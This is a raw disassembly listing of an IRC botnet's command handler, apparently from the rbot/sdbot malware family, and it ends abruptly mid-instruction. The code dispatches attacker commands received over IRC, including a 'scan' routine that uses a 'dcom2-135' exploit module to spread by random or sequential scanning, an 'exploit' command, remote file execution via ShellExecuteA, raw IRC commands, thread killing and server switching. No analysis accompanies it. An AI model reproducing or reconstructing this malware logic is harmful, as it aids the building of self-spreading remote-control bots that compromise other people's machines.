loc_405C74: ; CODE XREF: sub_4021E5+3A6Dj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push offset aCrash_0 ; "crash" mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] call sub_422740 pop ecx pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_405CA2: ; CODE XREF: sub_4021E5+3A54j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aScan ; "scan" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_405CE0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aScan_0 ; "scan" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40619B loc_405CE0: ; CODE XREF: sub_4021E5+3AD8j and [ebp+var_175C], 0 jmp short loc_405CF6 ; --------------------------------------------------------------------------- loc_405CE9: ; CODE XREF: sub_4021E5+3B25j mov eax, [ebp+var_175C] inc eax mov [ebp+var_175C], eax loc_405CF6: ; CODE XREF: sub_4021E5+3B02j mov eax, [ebp+var_175C] imul eax, 0Bh movzx eax, byte_4491CA[eax] test eax, eax jz short loc_405D0C jmp short loc_405CE9 ; --------------------------------------------------------------------------- loc_405D0C: ; CODE XREF: sub_4021E5+3B23j and [ebp+var_1760], 0 jmp short loc_405D22 ; --------------------------------------------------------------------------- loc_405D15: ; CODE XREF: sub_4021E5:loc_40618Ej mov eax, [ebp+var_1760] inc eax mov [ebp+var_1760], eax loc_405D22: ; CODE XREF: sub_4021E5+3B2Ej mov eax, [ebp+var_1760] imul eax, 0Bh movzx eax, byte_4491CA[eax] test eax, eax jz loc_406193 push 0Bh call sub_40D6D9 pop ecx mov [ebp+var_1764], eax mov eax, 190h cdq idiv [ebp+var_175C] mov ecx, [ebp+var_1764] add ecx, eax cmp ecx, 1F4h jle short loc_405DA3 push [ebp+var_1764] push offset unk_442D28 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h jmp loc_40618E ; --------------------------------------------------------------------------- loc_405DA3: ; CODE XREF: sub_4021E5+3B7Dj mov [ebp+var_1790], 64h mov [ebp+var_17A4], 5 cmp [ebp+var_17A4], 5 jnb short loc_405DCC mov [ebp+var_4140], 5 jmp short loc_405DD8 ; --------------------------------------------------------------------------- loc_405DCC: ; CODE XREF: sub_4021E5+3BD9j mov eax, [ebp+var_17A4] mov [ebp+var_4140], eax loc_405DD8: ; CODE XREF: sub_4021E5+3BE5j mov eax, [ebp+var_4140] mov [ebp+var_17A4], eax cmp [ebp+var_17A4], 3Ch jbe short loc_405DF9 mov [ebp+var_4144], 3Ch jmp short loc_405E05 ; --------------------------------------------------------------------------- loc_405DF9: ; CODE XREF: sub_4021E5+3C06j mov eax, [ebp+var_17A4] mov [ebp+var_4144], eax loc_405E05: ; CODE XREF: sub_4021E5+3C12j mov eax, [ebp+var_4144] mov [ebp+var_17A4], eax mov [ebp+var_17A0], 270Fh cmp [ebp+var_17A0], 320h jbe short loc_405E33 mov [ebp+var_4148], 320h jmp short loc_405E3F ; --------------------------------------------------------------------------- loc_405E33: ; CODE XREF: sub_4021E5+3C40j mov eax, [ebp+var_17A0] mov [ebp+var_4148], eax loc_405E3F: ; CODE XREF: sub_4021E5+3C4Cj mov eax, [ebp+var_4148] mov [ebp+var_17A0], eax or [ebp+var_178C], 0FFFFFFFFh and [ebp+var_175C], 0 jmp short loc_405E68 ; --------------------------------------------------------------------------- loc_405E5B: ; CODE XREF: sub_4021E5:loc_405EC6j mov eax, [ebp+var_175C] inc eax mov [ebp+var_175C], eax loc_405E68: ; CODE XREF: sub_4021E5+3C74j mov eax, [ebp+var_175C] shl eax, 6 cmp dword_448FE8[eax], 0 jz short loc_405EC8 mov eax, [ebp+var_1760] imul eax, 0Bh add eax, offset dword_4491C0 push eax mov eax, [ebp+var_175C] shl eax, 6 add eax, offset aDcom2135 ; "dcom2-135" push eax call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_405EC6 mov eax, [ebp+var_175C] shl eax, 6 mov eax, dword_448FE8[eax] mov [ebp+var_17A8], eax mov eax, [ebp+var_175C] mov [ebp+var_178C], eax jmp short loc_405EC8 ; --------------------------------------------------------------------------- loc_405EC6: ; CODE XREF: sub_4021E5+3CBCj jmp short loc_405E5B ; --------------------------------------------------------------------------- loc_405EC8: ; CODE XREF: sub_4021E5+3C93j ; sub_4021E5+3CDFj cmp [ebp+var_17A8], 0 jnz short loc_405F1F push offset unk_442D68 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+var_4], 0 jnz short loc_405F0A push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_405F0A: ; CODE XREF: sub_4021E5+3D03j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_405F1F: ; CODE XREF: sub_4021E5+3CEAj mov [ebp+var_18D0], 10h lea eax, [ebp+var_18D0] push eax lea eax, [ebp+var_18CC] push eax push [ebp+arg_4] call dword_4E16A4 ; getsockname movzx eax, [ebp+var_373] neg eax sbb eax, eax and ax, 100h add eax, 0FFFFh mov ecx, [ebp+var_18C8] and ecx, eax mov [ebp+var_18C8], ecx push 10h push [ebp+var_18C8] call dword_4E178C ; inet_ntoa push eax lea eax, [ebp+var_18BC] push eax call sub_421470 add esp, 0Ch movzx eax, [ebp+var_373] neg eax sbb eax, eax neg eax inc eax inc eax mov [ebp+var_1770], eax push 30h lea eax, [ebp+var_18BC] push eax call sub_422510 pop ecx pop ecx mov [ebp+var_1768], eax and [ebp+var_176C], 0 jmp short loc_405FE1 ; --------------------------------------------------------------------------- loc_405FB4: ; CODE XREF: sub_4021E5+3E14j mov eax, [ebp+var_1768] mov byte ptr [eax], 78h push 30h lea eax, [ebp+var_18BC] push eax call sub_422510 pop ecx pop ecx mov [ebp+var_1768], eax mov al, [ebp+var_176C] add al, 1 mov [ebp+var_176C], al loc_405FE1: ; CODE XREF: sub_4021E5+3DCDj movsx eax, [ebp+var_176C] cmp eax, [ebp+var_1770] jge short loc_405FFB cmp [ebp+var_1768], 0 jz short loc_405FFB jmp short loc_405FB4 ; --------------------------------------------------------------------------- loc_405FFB: ; CODE XREF: sub_4021E5+3E09j ; sub_4021E5+3E12j mov [ebp+var_177C], 1 mov eax, [ebp+arg_4] mov [ebp+var_17AC], eax mov eax, [ebp+var_85C] mov [ebp+var_1784], eax mov eax, [ebp+var_4] mov [ebp+var_1780], eax push [ebp+var_98] push 80h lea eax, [ebp+var_18AC] push eax call sub_421B90 add esp, 0Ch push offset dword_4E15B4 push offset aMrnetiex ; "##mrnetiex##" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40606D push offset aMrnetiex ; "##mrnetiex##" push 80h lea eax, [ebp+var_182C] push eax call sub_421B90 add esp, 0Ch jmp short loc_406074 ; --------------------------------------------------------------------------- loc_40606D: ; CODE XREF: sub_4021E5+3E6Bj and [ebp+var_182C], 0 loc_406074: ; CODE XREF: sub_4021E5+3E86j cmp [ebp+var_177C], 0 jz short loc_406089 mov [ebp+var_414C], offset aRandom ; "Random" jmp short loc_406093 ; --------------------------------------------------------------------------- loc_406089: ; CODE XREF: sub_4021E5+3E96j mov [ebp+var_414C], offset aSequential ; "Sequential" loc_406093: ; CODE XREF: sub_4021E5+3EA2j push [ebp+var_1790] push [ebp+var_17A0] push [ebp+var_17A4] push [ebp+var_17A8] lea eax, [ebp+var_18BC] push eax push [ebp+var_414C] push offset unk_442DB4 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 20h push 0 push 0Bh lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_179C], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_18BC] push eax push offset dword_40EF74 push 0 push 0 call near ptr 27A0169h nop mov ecx, [ebp+var_179C] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_179C] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_406140 loc_40612B: ; CODE XREF: sub_4021E5+3F57j cmp [ebp+var_1778], 0 jnz short loc_40613E push 32h nop call near ptr 27A0000h jmp short loc_40612B ; --------------------------------------------------------------------------- loc_40613E: ; CODE XREF: sub_4021E5+3F4Dj jmp short loc_40615B ; --------------------------------------------------------------------------- loc_406140: ; CODE XREF: sub_4021E5+3F44j nop call near ptr 27A0A66h push eax push offset unk_442E20 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_40615B: ; CODE XREF: sub_4021E5:loc_40613Ej cmp [ebp+var_4], 0 jnz short loc_406181 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_406181: ; CODE XREF: sub_4021E5+3F7Aj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx loc_40618E: ; CODE XREF: sub_4021E5+3BB9j jmp loc_405D15 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_4021E5+3B4Fj push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40619B: ; CODE XREF: sub_4021E5+3AF5j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aPhonehome ; "phonehome" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4061D7 lea eax, [ebp+var_B8] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 0Ch push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4061D7: ; CODE XREF: sub_4021E5:loc_403A17j ; sub_4021E5+32CDj ... mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jnz short loc_4061EF push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4061EF: ; CODE XREF: sub_4021E5+4000j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aExploit ; "exploit" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40636D mov [ebp+var_18E4], 1 mov eax, [ebp+var_85C] mov [ebp+var_18DC], eax mov eax, [ebp+var_4] mov [ebp+var_18D8], eax mov eax, [ebp+arg_4] mov [ebp+var_18EC], eax push offset aMrnetiex ; "##mrnetiex##" push 80h lea eax, [ebp+var_196C] push eax call sub_421B90 add esp, 0Ch push offset aMrnetiex ; "##mrnetiex##" push 80h lea eax, [ebp+var_19EC] push eax call sub_421B90 add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 10h lea eax, [ebp+var_19FC] push eax call sub_421B90 add esp, 0Ch lea eax, [ebp+var_19FC] push eax push offset unk_442E94 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch push 0 push 8 lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_18E0], eax lea eax, [ebp+var_1A00] push eax push 0 lea eax, [ebp+var_19FC] push eax push offset sub_40DF24 push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_18E0] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_18E0] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_406317 loc_406302: ; CODE XREF: sub_4021E5+412Ej cmp [ebp+var_18D4], 0 jnz short loc_406315 push 32h nop call near ptr 27A0000h jmp short loc_406302 ; --------------------------------------------------------------------------- loc_406315: ; CODE XREF: sub_4021E5+4124j jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406317: ; CODE XREF: sub_4021E5+411Bj nop call near ptr 27A0A66h push eax push offset unk_442EC4 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_406332: ; CODE XREF: sub_4021E5:loc_406315j cmp [ebp+var_4], 0 jnz short loc_406358 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_406358: ; CODE XREF: sub_4021E5+4151j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40636D: ; CODE XREF: sub_4021E5+4025j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aReconnect_in ; "reconnect.in" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4063A7 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRin ; "rin" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40640B loc_4063A7: ; CODE XREF: sub_4021E5+41A3j push offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40AFBE pop ecx pop ecx mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_442F30 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 3E8h push eax nop call near ptr 27A0000h xor eax, eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40640B: ; CODE XREF: sub_4021E5+41C0j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_406445 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRinms ; "rinms" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4064A3 loc_406445: ; CODE XREF: sub_4021E5+4241j push offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40AFBE pop ecx pop ecx mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_442F88 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx push eax nop call near ptr 27A0000h xor eax, eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4064A3: ; CODE XREF: sub_4021E5+425Ej mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aNick_0 ; "nick" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4064DD mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aN ; "n" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40651B loc_4064DD: ; CODE XREF: sub_4021E5+42D9j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aNickS_0 ; "NICK %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_442FC4 call sub_417472 pop ecx pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40651B: ; CODE XREF: sub_4021E5+42F6j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aJoin ; "join" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_406555 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aJ ; "j" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4065A0 loc_406555: ; CODE XREF: sub_4021E5+4351j mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aJoinSS_1 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 10h mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_443004 call sub_417472 pop ecx pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4065A0: ; CODE XREF: sub_4021E5+436Ej mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aPart_1 ; "part" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4065DA mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aPt ; "pt" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_406618 loc_4065DA: ; CODE XREF: sub_4021E5+43D6j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aPartS ; "PART %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_443040 call sub_417472 pop ecx pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_406618: ; CODE XREF: sub_4021E5+43F3j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRaw ; "raw" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_406652 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aR_1 ; "r" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4066B4 loc_406652: ; CODE XREF: sub_4021E5+444Ej cmp [ebp+var_2D4], 0 jz short loc_4066AC mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_1A04], eax cmp [ebp+var_1A04], 0 jz short loc_4066AC push [ebp+var_1A04] push offset aS_29 ; "%s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 0Ch push [ebp+var_1A04] push offset dword_443074 call sub_417472 pop ecx pop ecx loc_4066AC: ; CODE XREF: sub_4021E5+4474j ; sub_4021E5+449Dj mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4066B4: ; CODE XREF: sub_4021E5+446Bj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aKillthread ; "killthread" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4066F2 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aK ; "k" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40686A loc_4066F2: ; CODE XREF: sub_4021E5+44EAj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aAll ; "all" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40678A call sub_40D605 mov [ebp+var_5D8], eax cmp [ebp+var_5D8], 0 jle short loc_40673F push [ebp+var_5D8] push offset unk_4430A4 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_406752 ; --------------------------------------------------------------------------- loc_40673F: ; CODE XREF: sub_4021E5+453Cj push offset unk_4430CC lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_406752: ; CODE XREF: sub_4021E5+4558j cmp [ebp+var_4], 0 jnz short loc_406778 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_406778: ; CODE XREF: sub_4021E5+4571j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx jmp loc_406862 ; --------------------------------------------------------------------------- loc_40678A: ; CODE XREF: sub_4021E5+4528j mov eax, [ebp+var_BC] inc eax mov [ebp+var_5D8], eax jmp short loc_4067A6 ; --------------------------------------------------------------------------- loc_406799: ; CODE XREF: sub_4021E5+4678j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_4067A6: ; CODE XREF: sub_4021E5+45B2j cmp [ebp+var_5D8], 20h jnb loc_406862 mov eax, [ebp+var_5D8] cmp [ebp+eax*4+var_A0], 0 jnz short loc_4067C8 jmp loc_406862 ; --------------------------------------------------------------------------- loc_4067C8: ; CODE XREF: sub_4021E5+45DCj mov eax, [ebp+var_5D8] push [ebp+eax*4+var_A0] call sub_421670 pop ecx push eax call sub_40D4E0 pop ecx test eax, eax jz short loc_406809 mov eax, [ebp+var_5D8] push [ebp+eax*4+var_A0] push offset unk_4430F4 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_40682A ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_4021E5+45FFj mov eax, [ebp+var_5D8] push [ebp+eax*4+var_A0] push offset unk_443118 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_40682A: ; CODE XREF: sub_4021E5+4622j cmp [ebp+var_4], 0 jnz short loc_406850 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_406850: ; CODE XREF: sub_4021E5+4649j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx jmp loc_406799 ; --------------------------------------------------------------------------- loc_406862: ; CODE XREF: sub_4021E5+45A0j ; sub_4021E5+45C8j ... push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40686A: ; CODE XREF: sub_4021E5+4507j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_quit ; "c_quit" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4068A8 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_q ; "c_q" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4069AF loc_4068A8: ; CODE XREF: sub_4021E5+46A0j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx test eax, eax jle loc_4069A7 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx cmp eax, 400h jge loc_4069A7 push offset aQuitLater_0 ; "QUIT :later\r\n" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h push dword_454624[eax] call sub_40AFBE pop ecx pop ecx push 1F4h nop call near ptr 27A0000h mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h push dword_454624[eax] call dword_4E1798 ; closesocket push [ebp+var_868] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h push dword_45462C[eax] nop call near ptr 27C0D51h mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h and dword_45462C[eax], 0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h and byte_454418[eax], 0 loc_4069A7: ; CODE XREF: sub_4021E5+46D8j ; sub_4021E5+46F6j push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4069AF: ; CODE XREF: sub_4021E5+46BDj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_rndnick ; "c_rndnick" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4069ED mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_rn ; "c_rn" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_406A83 loc_4069ED: ; CODE XREF: sub_4021E5+47E5j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx test eax, eax jle short loc_406A7B mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx cmp eax, 400h jge short loc_406A7B push 0 push 0 push 2 lea eax, [ebp+var_D0] push eax call sub_40CE78 add esp, 10h push eax push offset aNickS_1 ; "NICK %s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch lea eax, [ebp+var_858] push eax push offset aS_1 ; "%s\r\n" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h push dword_454624[eax] call sub_40AFBE add esp, 0Ch loc_406A7B: ; CODE XREF: sub_4021E5+481Dj ; sub_4021E5+4837j mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_406A83: ; CODE XREF: sub_4021E5+4802j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aPrefix ; "prefix" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_406ABD mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aPr ; "pr" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_406B31 loc_406ABD: ; CODE XREF: sub_4021E5+48B9j mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+var_9C] mov al, [eax] mov byte_441090, al mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+var_9C] movsx eax, byte ptr [eax] push eax push offset unk_443190 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_406B1C push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_406B1C: ; CODE XREF: sub_4021E5+4915j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_406B31: ; CODE XREF: sub_4021E5+48D6j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aOpen ; "open" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_406B6F mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aO ; "o" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_406C12 loc_406B6F: ; CODE XREF: sub_4021E5+4967j push 5 push 0 push 0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aOpen_0 ; "open" push 0 call dword_4E166C ; ShellExecuteA test eax, eax jz short loc_406BB6 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_4431CC lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_406BD7 ; --------------------------------------------------------------------------- loc_406BB6: ; CODE XREF: sub_4021E5+49ACj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_4431EC lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_406BD7: ; CODE XREF: sub_4021E5+49CFj cmp [ebp+var_4], 0 jnz short loc_406BFD push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_406BFD: ; CODE XREF: sub_4021E5+49F6j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_406C12: ; CODE XREF: sub_4021E5+4984j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aServer ; "server" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_406C4C mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aSe ; "se" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_406CC2 loc_406C4C: ; CODE XREF: sub_4021E5+4A48j push 7Fh mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+arg_14] call sub_421470 add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_44321C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_406CAD push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_406CAD: ; CODE XREF: sub_4021E5+4AA6j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_406CC2: ; CODE XREF: sub_4021E5+4A65j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDns ; "dns" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_406D00 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDn ; "dn" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_406E2E loc_406D00: ; CODE XREF: sub_4021E5+4AF8j and [ebp+var_1A0C], 0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call dword_4E1740 ; inet_addr mov [ebp+var_1A10], eax cmp [ebp+var_1A10], 0FFFFFFFFh jz short loc_406D74 push 2 push 4 lea eax, [ebp+var_1A10] push eax call dword_4E16B8 ; gethostbyaddr mov [ebp+var_1A0C], eax cmp [ebp+var_1A0C], 0 jz short loc_406D72 mov eax, [ebp+var_1A0C] push dword ptr [eax] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_44324C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h loc_406D72: ; CODE XREF: sub_4021E5+4B62j jmp short loc_406DD7 ; --------------------------------------------------------------------------- loc_406D74: ; CODE XREF: sub_4021E5+4B42j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call dword_4E1784 ; gethostbyname mov [ebp+var_1A0C], eax cmp [ebp+var_1A0C], 0 jz short loc_406DD7 mov eax, [ebp+var_1A0C] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_1A08], eax push [ebp+var_1A08] call dword_4E178C ; inet_ntoa push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_44326C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h loc_406DD7: ; CODE XREF: sub_4021E5:loc_406D72j ; sub_4021E5+4BAFj cmp [ebp+var_1A0C], 0 jnz short loc_406DF3 push offset unk_44328C lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_406DF3: ; CODE XREF: sub_4021E5+4BF9j cmp [ebp+var_4], 0 jnz short loc_406E19 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_406E19: ; CODE XREF: sub_4021E5+4C12j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_406E2E: ; CODE XREF: sub_4021E5+4B15j mov eax, [ebp+var_BC] push 